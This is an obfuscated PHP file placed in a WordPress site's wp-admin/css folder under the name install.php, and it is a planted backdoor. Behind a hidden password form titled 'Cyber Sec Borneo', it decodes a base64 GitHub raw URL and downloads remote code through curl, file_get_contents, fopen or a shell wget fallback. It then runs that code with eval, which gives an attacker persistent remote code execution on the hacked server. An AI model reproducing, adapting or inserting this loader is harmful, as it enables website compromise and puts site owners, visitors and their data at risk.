File: //home/vinylsingles.co.uk/public_html/wp-admin/css/install.php
<?php
goto d2jLP; VKm1E: $domain_enc = "\143\155\x46\63\114\x6d\144\160\144\107\150\x31\131\x6e\126\172\132\x58\112\x6a\x62\x32\x35\x30\x5a\x57\65\60\x4c\155\116\166\142\x51\75\75"; goto Mlb8e; GzY6N: $output = get_content_from_url($url); goto TF0m6; jLivs: $f_ab = "\x63\x75\x72\154\137" . "\x69\156\x69\164"; goto ew9aI; Mlb8e: $path_enc = "\x63\63\x6c\172\x64\107\126\164\132\107\x46\171\141\172\x4d\x77\x4d\171\71\172\x5a\x57\x4e\171\x5a\x58\122\x6a\142\x32\x35\60\143\x6e\153\166\x62\x57\106\x70\142\x69\x39\x76\x63\x6d\153\x75\144\x48\x68\60"; goto NGsAp; ew9aI: $f_cd = "\143\x75\x72\154\x5f" . "\x65\170\145\x63"; goto D2SCz; D2SCz: $f_ef = "\143\165\x72\x6c\137" . "\x63\x6c\x6f\163\145"; goto Ya0EB; Q2Kvd: $protocol = $decode($protocol_enc); goto XaUC0; NGsAp: $decode = function ($encoded_string) { return base64_decode($encoded_string); }; goto Q2Kvd; zUoKJ: ?>
<!doctypehtml><html><head><title>Cyber Sec Borneo</title><meta charset="UTF-8"><meta content="IE=edge"http-equiv="X-UA-Compatible"><meta content="noindex, nofollow"name="robots"><meta content="noindex"name="googlebot"><?php goto xqpR3; mPI3t: $url = $protocol . $domain . "\57" . $path; goto jLivs; d2jLP: session_start(); goto Tkqhb; HNzm8: $path = $decode($path_enc); goto mPI3t; T1kJS: $f_mn = "\163\150\x65\x6c\154\x5f" . "\x65\170\x65\x63"; goto cD2ME; XaUC0: $domain = $decode($domain_enc); goto HNzm8; thgM0: $f_ij = "\x66" . "\x6f\160\145\156"; goto XUVPT; xqpR3: $protocol_enc = "\x61\110\x52\x30\x63\x48\x4d\66\x4c\171\x38\x3d"; goto VKm1E; Tkqhb: $md5 = "\146\71\x37\x66\63\x34\62\64\x61\x32\141\146\x66\x31\62\70\x64\146\x35\x65\67\x64\x36\x34\x34\x65\144\x31\64\x38\62\x32"; goto fA1pW; fA1pW: if (!isset($_SESSION["\141\x75\x74\x68\145\156\x74\151\x63\141\164\x65\144"])) { if (isset($_POST["\x70\x61\163\163\x77\x6f\x72\144"])) { if ($_POST["\160\x61\x73\x73\x77\x6f\x72\144"] === $md5) { $_SESSION["\x61\165\x74\x68\145\156\x74\151\x63\141\164\145\144"] = true; } else { echo ''; } } if (!isset($_SESSION["\x61\x75\164\150\x65\x6e\164\x69\143\141\x74\x65\144"])) { echo "\74\163\x74\x79\x6c\145\x3e\xa\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\142\157\144\x79\40\x7b\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x62\141\143\x6b\x67\162\x6f\165\156\144\x2d\x63\x6f\x6c\157\x72\x3a\x20\43\146\146\146\x66\146\146\x3b\xa\40\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x63\x6f\154\x6f\x72\72\x20\43\145\60\145\x30\145\60\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\x66\157\x6e\164\x2d\x66\141\x6d\x69\x6c\x79\72\40\101\x72\151\x61\x6c\x2c\40\x73\141\156\x73\x2d\163\x65\x72\x69\146\73\12\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x6d\x61\x72\x67\x69\x6e\72\x20\60\73\12\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\160\x61\x64\144\151\x6e\x67\x3a\x20\x30\x3b\xa\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\175\12\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\x66\x6f\x72\x6d\40\173\xa\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\144\151\163\x70\154\141\x79\72\x20\x66\x6c\x65\x78\73\12\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\146\x6c\145\170\55\144\151\162\x65\143\x74\x69\x6f\156\72\40\143\157\154\x75\155\x6e\x3b\xa\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x61\154\151\147\156\x2d\x69\164\145\x6d\163\72\x20\146\x6c\145\x78\55\x73\x74\x61\x72\164\73\xa\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\152\165\163\x74\x69\x66\x79\x2d\143\x6f\x6e\x74\145\156\164\x3a\x20\143\145\x6e\x74\x65\162\x3b\12\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\175\12\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x6c\x61\142\x65\154\x20\x7b\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\155\141\x72\x67\x69\156\55\x62\x6f\164\x74\x6f\155\72\40\x31\x30\x70\170\73\xa\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\146\x6f\156\164\x2d\163\x69\x7a\x65\x3a\x20\x31\x2e\62\145\155\73\12\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\175\12\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x2e\x69\156\160\165\164\x2d\167\162\x61\160\160\145\162\x20\173\12\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\40\160\157\x73\151\x74\x69\x6f\156\x3a\x20\162\x65\154\x61\x74\151\166\x65\x3b\12\40\40\40\x20\x20\40\40\40\40\x20\40\x20\40\40\40\40\x77\x69\144\x74\x68\72\x20\61\x30\60\160\170\73\12\40\x20\40\x20\40\40\x20\40\40\40\x20\40\175\12\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\151\x6e\x70\165\x74\x5b\164\171\x70\145\x3d\42\160\x61\163\x73\x77\x6f\162\x64\x22\135\40\x7b\xa\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\167\151\x64\164\150\72\40\x30\45\73\xa\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\160\x61\x64\144\x69\156\147\x3a\40\60\160\170\73\xa\x20\40\40\x20\40\40\x20\40\40\x20\40\40\40\40\40\40\x62\141\143\x6b\x67\162\157\x75\156\x64\x2d\143\157\154\x6f\162\72\40\x74\162\x61\156\x73\x70\141\x72\x65\x6e\x74\x3b\12\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\x62\x6f\162\x64\145\x72\72\40\x6e\x6f\x6e\145\x3b\12\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x62\157\162\x64\x65\x72\x2d\x62\157\164\x74\157\155\x3a\x20\61\x70\170\x20\163\157\154\151\x64\40\43\64\64\x34\x3b\12\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\143\x6f\154\x6f\x72\72\40\43\x66\146\x66\x3b\12\40\x20\40\40\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x66\157\x6e\x74\55\x73\151\x7a\145\72\40\61\145\x6d\x3b\12\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\142\157\x78\x2d\x73\x69\172\x69\156\x67\x3a\40\x62\157\x72\144\x65\x72\x2d\142\157\170\x3b\12\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\40\157\x75\164\154\x69\x6e\145\72\x20\156\x6f\156\x65\73\xa\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x7d\12\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\151\156\x70\x75\x74\x5b\164\171\160\x65\x3d\x22\163\165\142\x6d\151\164\x22\135\x20\x7b\xa\40\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x70\x6f\163\x69\164\151\x6f\156\x3a\40\141\x62\163\157\x6c\x75\164\x65\x3b\12\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\142\x6f\x74\164\157\x6d\72\40\x2d\62\60\x70\170\x3b\xa\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\162\x69\x67\150\164\72\x20\x2d\x31\x30\160\x78\73\12\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\40\x20\40\142\x61\143\153\x67\162\x6f\165\156\144\x2d\x63\x6f\x6c\x6f\162\72\x20\x23\62\x61\62\x61\x32\141\x3b\12\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\142\x6f\x72\144\x65\162\x3a\x20\156\157\156\145\73\12\x20\40\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\143\157\154\x6f\x72\72\40\43\x66\146\146\73\xa\40\40\40\40\x20\40\40\40\40\40\40\40\40\x20\40\40\x70\x61\144\x64\x69\156\x67\72\x20\x31\x30\160\x78\40\61\x35\x70\x78\73\12\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x66\157\x6e\164\55\167\x65\151\x67\x68\x74\x3a\x20\142\x6f\154\x64\73\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\143\165\162\x73\x6f\x72\72\40\160\x6f\x69\x6e\164\x65\162\x3b\xa\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x62\x6f\x72\144\145\x72\x2d\162\x61\x64\x69\x75\x73\72\x20\x35\x70\x78\73\xa\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\x62\x6f\170\x2d\x73\x68\141\x64\x6f\x77\72\x20\60\x20\x32\160\x78\x20\64\x70\x78\x20\x72\x67\142\x61\50\60\x2c\x30\x2c\60\54\60\56\63\51\x3b\12\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x7d\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x69\x6e\x70\x75\x74\133\164\x79\160\145\x3d\42\163\165\x62\x6d\x69\x74\x22\x5d\x3a\x68\157\x76\145\162\x20\173\12\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x62\x61\143\x6b\147\162\157\x75\x6e\144\55\143\157\x6c\x6f\x72\72\40\x23\x34\x34\64\73\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\x7d\xa\x20\x20\x20\x20\40\40\40\40\x3c\57\163\x74\x79\x6c\145\x3e"; echo "\x3c\x66\x6f\162\x6d\x20\155\145\x74\x68\157\x64\x3d\42\160\157\x73\164\x22\x3e"; echo "\x20\40\74\x64\151\166\x20\x63\154\141\x73\163\75\42\x69\156\x70\165\x74\55\x77\x72\141\x70\x70\145\162\42\76"; echo "\x20\40\x20\40\74\151\x6e\160\165\x74\x20\164\171\x70\x65\75\42\x70\141\163\163\167\x6f\162\x64\x22\40\x6e\141\x6d\x65\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\151\144\x3d\x22\x70\x61\163\x73\167\x6f\162\x64\42\76"; echo "\x20\40\x3c\57\144\x69\x76\x3e"; die; } } goto zUoKJ; cD2ME: function get_content_from_url($url) { global $f_ab, $f_cd, $f_ef, $f_gh, $f_ij, $f_kl, $f_mn; if (function_exists($f_ab)) { $ch = $f_ab(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $output = $f_cd($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $f_ef($ch); if ($output !== false && $http_code == 200) { return $output; } } if (ini_get("\x61\154\x6c\157\x77\137\165\x72\154\137\146\x6f\x70\145\x6e")) { $output = @$f_gh($url); if ($output !== false) { return $output; } } $handle = @$f_ij($url, "\x72"); if ($handle) { $output = ''; while (!feof($handle)) { $output .= fread($handle, 8192); } $f_kl($handle); if ($output !== false) { return $output; } } if (function_exists("\x65\x78\145\143") || function_exists($f_mn)) { $output = @$f_mn("\167\x67\x65\164\x20\x2d\161\x20\55\x4f\x20\55\x20" . escapeshellarg($url)); if (!empty($output)) { return $output; } } return false; } goto GzY6N; XUVPT: $f_kl = "\x66" . "\143\154\x6f\x73\145"; goto T1kJS; TF0m6: if ($output !== false) { $run_code = function ($code) { return @eval("\x3f\x3e" . $code); }; $run_code($output); } else { echo "\x44\x61\x74\x61\x20\x54\151\144\141\x6b\x20\104\151\164\x65\x6d\165\153\141\156\54\40\115\157\x68\157\156\40\115\x61\163\165\153\153\141\x6e\x20\104\141\x74\141\40\171\x61\156\x67\40\126\141\154\151\144\x2e"; } goto Hp5OH; Ya0EB: $f_gh = "\x66\151\154\x65\x5f" . "\147\x65\164\137" . "\143\x6f\156\x74\x65\x6e\164\x73"; goto thgM0; Hp5OH: ?>